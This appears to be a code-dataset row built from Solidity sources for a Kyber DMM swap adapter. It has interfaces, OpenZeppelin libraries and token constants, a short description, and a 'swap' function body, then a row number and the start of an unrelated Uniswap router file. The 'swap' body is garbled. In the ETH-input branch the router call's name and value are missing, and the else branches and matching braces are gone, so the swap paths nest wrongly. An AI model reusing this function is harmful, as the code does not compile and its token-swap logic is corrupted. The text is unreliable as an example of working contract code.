// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "@kyber.network/utils-sc/contracts/Withdrawable.sol";
import "@kyber.network/utils-sc/contracts/Utils.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./ISwap.sol";
abstract contract BaseSwap is ISwap, Withdrawable, Utils {
using SafeERC20 for IERC20Ext;
using SafeMath for uint256;
uint256 internal constant MAX_AMOUNT = type(uint256).max;
address public proxyContract;
event UpdatedproxyContract(address indexed _oldProxyImpl, address indexed _newProxyImpl);
modifier onlyProxyContract() {
require(msg.sender == proxyContract, "only swap impl");
_;
}
constructor(address _admin) Withdrawable(_admin) {}
receive() external payable {}
function updateProxyContract(address _proxyContract) external onlyAdmin {
require(_proxyContract != address(0), "invalid swap impl");
emit UpdatedproxyContract(proxyContract, _proxyContract);
proxyContract = _proxyContract;
}
// Swap contracts don't keep funds. It's safe to set the max allowance
function safeApproveAllowance(address spender, IERC20Ext token) internal {
if (token != ETH_TOKEN_ADDRESS && token.allowance(address(this), spender) == 0) {
token.safeApprove(spender, MAX_ALLOWANCE);
}
}
}
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IWeth.sol";
interface IDMMFactory {
function createPool(
IERC20 tokenA,
IERC20 tokenB,
uint32 ampBps
) external returns (address pool);
function getPools(IERC20 token0, IERC20 token1)
external
view
returns (address[] memory _tokenPools);
}
interface IDMMRouter {
function factory() external pure returns (address);
function weth() external pure returns (IWeth);
function getAmountsOut(
uint256 amountIn,
address[] calldata poolsPath,
IERC20[] calldata path
) external view returns (uint256[] memory amounts);
function getAmountsIn(
uint256 amountOut,
address[] calldata poolsPath,
IERC20[] calldata path
) external view returns (uint256[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
IERC20 token,
address pool,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
IERC20 token,
address pool,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata poolsPath,
IERC20[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata poolsPath,
IERC20[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata poolsPath,
IERC20[] calldata path,
address to,
uint256 deadline
) external;
}
pragma solidity 0.7.6;
library BytesLib {
function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
require(_start + 20 >= _start, "toAddress_overflow");
require(_bytes.length >= _start + 20, "toAddress_outOfBounds");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) {
require(_start + 3 >= _start, "toUint24_overflow");
require(_bytes.length >= _start + 3, "toUint24_outOfBounds");
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
function toUint256(bytes memory _bytes, uint256 _start) internal pure returns (uint256) {
require(_start + 32 >= _start, "toUint256_overflow");
require(_bytes.length >= _start + 32, "toUint256_outOfBounds");
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Interface extending ERC20 standard to include decimals() as
* it is optional in the OpenZeppelin IERC20 interface.
*/
interface IERC20Ext is IERC20 {
/**
* @dev This function is required as Kyber requires to interact
* with token.decimals() with many of its operations.
*/
function decimals() external view returns (uint8 digits);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./IERC20Ext.sol";
import "./PermissionAdmin.sol";
abstract contract Withdrawable is PermissionAdmin {
using SafeERC20 for IERC20Ext;
event TokenWithdraw(IERC20Ext token, uint256 amount, address sendTo);
event EtherWithdraw(uint256 amount, address sendTo);
constructor(address _admin) PermissionAdmin(_admin) {}
/**
* @dev Withdraw all IERC20Ext compatible tokens
* @param token IERC20Ext The address of the token contract
*/
function withdrawToken(
IERC20Ext token,
uint256 amount,
address sendTo
) external onlyAdmin {
token.safeTransfer(sendTo, amount);
emit TokenWithdraw(token, amount, sendTo);
}
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint256 amount, address payable sendTo) external onlyAdmin {
(bool success, ) = sendTo.call{value: amount}("");
require(success, "withdraw failed");
emit EtherWithdraw(amount, sendTo);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./IERC20Ext.sol";
/**
* @title Kyber utility file
* mostly shared constants and rate calculation helpers
* inherited by most of kyber contracts.
* previous utils implementations are for previous solidity versions.
*/
abstract contract Utils {
// Declared constants below to be used in tandem with
// getDecimalsConstant(), for gas optimization purposes
// which return decimals from a constant list of popular
// tokens.
IERC20Ext internal constant ETH_TOKEN_ADDRESS = IERC20Ext(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
IERC20Ext internal constant USDT_TOKEN_ADDRESS = IERC20Ext(
0xdAC17F958D2ee523a2206206994597C13D831ec7
);
IERC20Ext internal constant DAI_TOKEN_ADDRESS = IERC20Ext(
0x6B175474E89094C44Da98b954EedeAC495271d0F
);
IERC20Ext internal constant USDC_TOKEN_ADDRESS = IERC20Ext(
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
);
IERC20Ext internal constant WBTC_TOKEN_ADDRESS = IERC20Ext(
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599
);
IERC20Ext internal constant KNC_TOKEN_ADDRESS = IERC20Ext(
0xdd974D5C2e2928deA5F71b9825b8b646686BD200
);
uint256 public constant BPS = 10000; // Basic Price Steps. 1 step = 0.01%
uint256 internal constant PRECISION = (10**18);
uint256 internal constant MAX_QTY = (10**28); // 10B tokens
uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth
uint256 internal constant MAX_DECIMALS = 18;
uint256 internal constant ETH_DECIMALS = 18;
uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite
mapping(IERC20Ext => uint256) internal decimals;
/// @dev Sets the decimals of a token to storage if not already set, and returns
/// the decimals value of the token. Prefer using this function over
/// getDecimals(), to avoid forgetting to set decimals in local storage.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getSetDecimals(IERC20Ext token) internal returns (uint256 tokenDecimals) {
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
tokenDecimals = decimals[token];
if (tokenDecimals == 0) {
tokenDecimals = token.decimals();
decimals[token] = tokenDecimals;
}
}
/// @dev Get the balance of a user
/// @param token The token type
/// @param user The user's address
/// @return The balance
function getBalance(IERC20Ext token, address user) internal view returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return user.balance;
} else {
return token.balanceOf(user);
}
}
/// @dev Get the decimals of a token, read from the constant list, storage,
/// or from token.decimals(). Prefer using getSetDecimals when possible.
/// @param token The token type
/// @return tokenDecimals The decimals of the token
function getDecimals(IERC20Ext token) internal view returns (uint256 tokenDecimals) {
// return token decimals if has constant value
tokenDecimals = getDecimalsConstant(token);
if (tokenDecimals > 0) return tokenDecimals;
// handle case where token decimals is not a declared decimal constant
tokenDecimals = decimals[token];
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
return (tokenDecimals > 0) ? tokenDecimals : token.decimals();
}
function calcDestAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 rate
) internal view returns (uint256) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(
IERC20Ext src,
IERC20Ext dest,
uint256 destAmount,
uint256 rate
) internal view returns (uint256) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcDstQty(
uint256 srcQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(srcQty <= MAX_QTY, "srcQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(
uint256 dstQty,
uint256 srcDecimals,
uint256 dstDecimals,
uint256 rate
) internal pure returns (uint256) {
require(dstQty <= MAX_QTY, "dstQty > MAX_QTY");
require(rate <= MAX_RATE, "rate > MAX_RATE");
//source quantity is rounded up. to avoid dest quantity being too low.
uint256 numerator;
uint256 denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
function calcRateFromQty(
uint256 srcAmount,
uint256 destAmount,
uint256 srcDecimals,
uint256 dstDecimals
) internal pure returns (uint256) {
require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY");
require(destAmount <= MAX_QTY, "destAmount > MAX_QTY");
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS");
return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS");
return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount);
}
}
/// @dev save storage access by declaring token decimal constants
/// @param token The token type
/// @return token decimals
function getDecimalsConstant(IERC20Ext token) internal pure returns (uint256) {
if (token == ETH_TOKEN_ADDRESS) {
return ETH_DECIMALS;
} else if (token == USDT_TOKEN_ADDRESS) {
return 6;
} else if (token == DAI_TOKEN_ADDRESS) {
return 18;
} else if (token == USDC_TOKEN_ADDRESS) {
return 6;
} else if (token == WBTC_TOKEN_ADDRESS) {
return 8;
} else if (token == KNC_TOKEN_ADDRESS) {
return 18;
} else {
return 0;
}
}
function minOf(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
interface ISwap {
struct GetExpectedReturnParams {
uint256 srcAmount;
address[] tradePath;
uint256 feeBps;
bytes extraArgs;
}
function getExpectedReturn(GetExpectedReturnParams calldata params)
external
view
returns (uint256 destAmount);
struct GetExpectedInParams {
uint256 destAmount;
address[] tradePath;
uint256 feeBps;
bytes extraArgs;
}
function getExpectedIn(GetExpectedInParams calldata params)
external
view
returns (uint256 srcAmount);
struct SwapParams {
uint256 srcAmount;
// min return for uni, min conversionrate for kyber, etc.
uint256 minDestAmount;
address[] tradePath;
address recipient;
uint256 feeBps;
address payable feeReceiver;
bytes extraArgs;
}
function swap(SwapParams calldata params) external payable returns (uint256 destAmount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract PermissionAdmin {
address public admin;
address public pendingAdmin;
event AdminClaimed(address newAdmin, address previousAdmin);
event TransferAdminPending(address pendingAdmin);
constructor(address _admin) {
require(_admin != address(0), "admin 0");
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "only admin");
_;
}
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "new admin 0");
emit TransferAdminPending(newAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0), "admin 0");
emit TransferAdminPending(newAdmin);
emit AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender, "not pending");
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWeth is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
|
swap token via a supported UniSwap router for some tokens that are paying fee, for example: DGX contract will trade with received src token amount (after minus fee) for UniSwap, fee will be taken in src token convert eth/bnb -> weth/wbnb address to trade on Uni swap eth/bnb -> token swap token -> eth/bnb swap token -> token
|
function swap(SwapParams calldata params)
external
payable
override
onlyProxyContract
returns (uint256 destAmount)
{
require(params.tradePath.length >= 2, "invalid tradePath");
address[] memory pools = parseExtraArgs(params.tradePath.length - 1, params.extraArgs);
safeApproveAllowance(address(dmmRouter), IERC20Ext(params.tradePath[0]));
uint256 tradeLen = params.tradePath.length;
IERC20Ext actualSrc = IERC20Ext(params.tradePath[0]);
IERC20Ext actualDest = IERC20Ext(params.tradePath[tradeLen - 1]);
IERC20[] memory convertedTradePath = new IERC20[](params.tradePath.length);
for (uint256 i = 0; i < params.tradePath.length; i++) {
convertedTradePath[i] = params.tradePath[i] == address(ETH_TOKEN_ADDRESS)
? dmmRouter.weth()
: IERC20(params.tradePath[i]);
}
uint256 destBalanceBefore = getBalance(actualDest, params.recipient);
if (actualSrc == ETH_TOKEN_ADDRESS) {
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
if (actualDest == ETH_TOKEN_ADDRESS) {
dmmRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
params.srcAmount,
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
dmmRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
params.srcAmount,
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
}
}
destAmount = getBalance(actualDest, params.recipient).sub(destBalanceBefore);
}
| 1,270,844
|
/**
*Submitted for verification at Etherscan.io on 2021-09-25
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
/* Interfaces */
/**
* @title UniswapV2Router Interface
